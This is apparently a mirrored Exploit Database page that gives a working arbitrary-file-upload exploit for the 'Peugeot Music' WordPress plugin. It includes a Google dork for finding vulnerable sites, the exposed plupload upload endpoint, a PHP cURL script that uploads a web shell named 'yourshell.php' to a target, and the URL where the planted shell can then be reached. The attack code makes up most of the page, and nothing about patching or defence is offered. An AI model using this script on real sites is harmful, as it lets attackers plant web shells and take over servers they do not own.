WordPress Plugin Peugeot Music – Arbitrary File Upload

• Exploit Database
• 15 阅读

• 作者： Mr.7z
  日期： 2018-05-23
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/44737/

• # Exploit Title: WordPress Plugin Peugeot Music - Arbitrary File Upload
  # Google Dork: inurl:/wp-content/plugins/peugeot-music-plugin/
  # Date: 2018-05-23
  # Exploit Author: Mr.7z
  # Vendor Homepage: -
  # Software Link: -
  # Version: 1.0
  # Tested on: Windows 10 64bit (Home Edition)
  
  # Exploit: /wp-content/plugins/peugeot-music-plugin/js/plupload/examples/upload.php
  # Vuln? {"jsonrpc" : "2.0", "result" : null, "id" : "id"}
  
  # CSRF
  <?php
  
  $url = "http://target.com/wp-content/plugins/peugeot-music-plugin/js/plupload/examples/upload.php";
  // put URL Here
  $post = array
  (
  "file" => "@yourshell.jpg",
  "name" => "yourshell.php"
  );
  $ch = curl_init ("$url");
  curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1;
  rv:32.0) Gecko/20100101 Firefox/32.0");
  curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
  curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  curl_setopt ($ch, CURLOPT_POST, 1);
  @curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  $data = curl_exec ($ch);
  curl_close ($ch);
  echo $data;
  
  ?>
  
  # For CSRF using php xampp.
  # Shell Locate:
  target.com/wp-content/plugins/peugeot-music-plugin/js/plupload/examples/uploads/yourshell.php
  
  # Thanks To XaiSyndicate - Family Attack Cyber - HunterSec-Team -
  # Typical Idiot Security [!]